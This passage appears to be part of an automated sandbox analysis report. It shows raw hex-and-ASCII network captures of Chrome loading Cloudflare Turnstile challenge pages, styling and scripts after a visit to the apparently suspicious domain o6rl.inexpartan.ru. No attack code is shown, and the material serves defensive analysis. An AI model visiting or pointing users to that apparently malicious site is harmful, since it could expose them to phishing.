2024-12-24 14:06:33 UTC	1369	IN	Data Raw: 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 6e 29 7d 2c 63 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 29 7b 72 65 74 75 72 6e 20 46 75 6e 63 74 69 6f 6e 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 65 29 2e 69 6e 64 65 78 4f 66 28 22 5b 6e 61 74 69 76 65 20 63 6f 64 65 5d 22 29 21 3d 3d 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 71 65 28 65 29 7b 76 61 72 20 72 3d 74 79 70 65 6f 66 20 4d 61 70 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 6e 65 77 20 4d 61 70 3a 76 6f 69 64 20 30 3b 72 65 74 75 72 6e 20 71 65 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 69 66 28 6f 3d 3d 3d 6e 75 6c 6c 7c 7c 21 75 72 28 6f 29 29 72 65 74 75 72 6e 20 6f 3b 69 66 28 74 79 70 65 6f 66 20 6f 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 74 68 72 6f 77 20 6e Data Ascii: __\|\|Object.getPrototypeOf(n)},ce(e)}function ur(e){return Function.toString.call(e).indexOf("[native code]")!==-1}function qe(e){var r=typeof Map=="function"?new Map:void 0;return qe=function(o){if(o===null\|\|!ur(o))return o;if(typeof o!="function")throw n
2024-12-24 14:06:33 UTC	1369	IN	Data Raw: 26 26 65 2e 74 65 73 74 28 72 2e 73 72 63 29 29 72 65 74 75 72 6e 20 72 3b 66 6f 72 28 76 61 72 20 6e 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 73 63 72 69 70 74 22 29 2c 6f 3d 30 2c 63 3b 63 3d 6e 5b 6f 5d 3b 6f 2b 2b 29 69 66 28 44 28 63 2c 48 54 4d 4c 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 29 26 26 65 2e 74 65 73 74 28 63 2e 73 72 63 29 29 72 65 74 75 72 6e 20 63 7d 66 75 6e 63 74 69 6f 6e 20 66 72 28 29 7b 76 61 72 20 65 3d 41 74 28 29 3b 65 7c 7c 6d 28 22 43 6f 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 54 75 72 6e 73 74 69 6c 65 20 73 63 72 69 70 74 20 74 61 67 2c 20 73 6f 6d 65 20 66 65 61 74 75 72 65 73 20 6d 61 79 20 6e 6f 74 20 62 65 20 61 76 61 69 6c 61 62 6c 65 22 2c 34 33 37 37 37 29 3b 76 61 72 20 72 3d Data Ascii: &&e.test(r.src))return r;for(var n=document.querySelectorAll("script"),o=0,c;c=n[o];o++)if(D(c,HTMLScriptElement)&&e.test(c.src))return c}function fr(){var e=At();e\|\|m("Could not find Turnstile script tag, some features may not be available",43777);var r=
2024-12-24 14:06:33 UTC	1369	IN	Data Raw: 6d 65 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 66 65 65 64 62 61 63 6b 22 2c 45 2e 69 64 3d 22 63 66 2d 66 72 2d 69 64 22 2c 45 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 45 2e 73 74 79 6c 65 2e 6d 61 78 57 69 64 74 68 3d 22 34 35 30 70 78 22 2c 45 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 52 74 28 72 29 2c 45 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 72 65 6c 61 74 69 76 65 22 2c 45 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 37 22 2c 45 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 3d 22 23 66 66 66 66 66 66 22 2c 45 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 52 61 64 69 75 73 3d 22 35 70 78 22 2c 45 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 70 78 22 2c 45 2e 73 74 79 6c 65 2e Data Ascii: me="cf-turnstile-feedback",E.id="cf-fr-id",E.style.width="100vw",E.style.maxWidth="450px",E.style.height=Rt(r),E.style.position="relative",E.style.zIndex="2147483647",E.style.backgroundColor="#ffffff",E.style.borderRadius="5px",E.style.left="0px",E.style.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49764	104.18.94.41	443	736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 14:06:32 UTC	818	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/o2okh/0x4AAAAAAA3SrXwIAdDnw3nH/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe Referer: https://o6rl.inexpartan.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 14:06:33 UTC	1362	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 14:06:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26678 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2024-12-24 14:06:33 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 66 37 31 32 37 30 66 61 61 33 66 34 32 33 61 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8f71270faa3f423a-EWRalt-svc: h3=":443"; ma=86400
2024-12-24 14:06:33 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2024-12-24 14:06:33 UTC	1369	IN	Data Raw: 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 Data Ascii: dding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiase
2024-12-24 14:06:33 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 Data Ascii: stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#
2024-12-24 14:06:33 UTC	1369	IN	Data Raw: 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 Data Ascii: e-dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dar
2024-12-24 14:06:33 UTC	1369	IN	Data Raw: 32 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 Data Ascii: 20}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-h
2024-12-24 14:06:33 UTC	1369	IN	Data Raw: 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 Data Ascii: ;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1
2024-12-24 14:06:33 UTC	1369	IN	Data Raw: 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d Data Ascii: ay:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-com
2024-12-24 14:06:33 UTC	1369	IN	Data Raw: 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 Data Ascii: i{left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:fle
2024-12-24 14:06:33 UTC	1369	IN	Data Raw: 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: olor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49765	35.190.80.1	443	736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 14:06:32 UTC	480	OUT	POST /report/v4?s=mE2ru3%2FloL1M4wGqzTMnZ9emURenUJcl7iXw3H2DbPreURfcPsPl96mKnx9D3mq6OzS%2FxlBwQ3LKUn900lsO69AmDyYB8ACps9jndZ2kUoJkB1bXail%2B9GrtGl3k4Oi5uKi1VPIX HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 452 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 14:06:32 UTC	452	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 32 32 30 33 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 6f 36 72 6c 2e 69 6e 65 78 70 61 72 74 61 6e 2e 72 75 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 31 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 31 37 2e 32 34 2e 31 34 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 32 30 30 2c 22 74 79 70 65 22 3a 22 6f 6b 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 Data Ascii: [{"age":0,"body":{"elapsed_time":2203,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://o6rl.inexpartan.ru/","sampling_fraction":0.01,"server_ip":"104.17.24.14","status_code":200,"type":"ok"},"type":"network-error","url":"http
2024-12-24 14:06:33 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Tue, 24 Dec 2024 14:06:32 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49766	104.18.94.41	443	736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 14:06:34 UTC	727	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8f71270faa3f423a&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/o2okh/0x4AAAAAAA3SrXwIAdDnw3nH/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 14:06:34 UTC	331	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 14:06:34 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 111125 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8f71271a5aa04321-EWR alt-svc: h3=":443"; ma=86400
2024-12-24 14:06:34 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 53 79 57 4f 55 33 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.SyWOU3={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconce
2024-12-24 14:06:34 UTC	1369	IN	Data Raw: 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 22 59 6f 75 72 25 32 30 66 65 65 64 62 61 63 6b 25 32 30 72 65 70 6f 72 74 25 32 30 68 61 73 25 32 30 62 65 65 6e 25 32 30 73 75 63 63 65 73 73 66 75 6c 6c 79 25 32 30 73 75 62 6d 69 74 74 65 64 22 2c 22 69 6e 76 61 6c 69 64 5f 64 6f 6d 61 69 6e 22 3a 22 49 6e 76 61 6c 69 64 25 32 30 64 6f 6d 61 69 6e 2e 25 32 30 43 6f 6e 74 61 63 74 25 32 30 74 68 65 25 32 30 53 69 74 65 25 32 30 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 25 32 30 69 66 25 32 30 74 68 69 73 25 32 30 70 72 6f 62 6c 65 6d 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 70 72 69 76 61 63 79 22 3a 22 50 72 69 76 61 63 79 22 2c 22 6e 6f 74 5f 65 6d 62 65 64 64 65 64 22 3a 22 54 68 69 Data Ascii: port_output_subtitle":"Your%20feedback%20report%20has%20been%20successfully%20submitted","invalid_domain":"Invalid%20domain.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists.","turnstile_footer_privacy":"Privacy","not_embedded":"Thi
2024-12-24 14:06:34 UTC	1369	IN	Data Raw: 2c 67 39 2c 67 66 2c 67 67 2c 67 68 2c 67 72 2c 67 43 2c 67 47 2c 67 48 2c 65 52 2c 65 53 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 37 30 29 29 2f 31 2b 70 61 72 73 65 49 6e 74 28 67 49 28 33 38 37 29 29 2f 32 2b 70 61 72 73 65 49 6e 74 28 67 49 28 35 34 30 29 29 2f 33 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 38 33 33 29 29 2f 34 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 36 37 34 29 29 2f 35 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 34 35 32 29 29 2f 36 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 30 34 29 29 2f 37 2b 70 61 72 73 65 49 6e 74 28 67 49 28 37 33 31 Data Ascii: 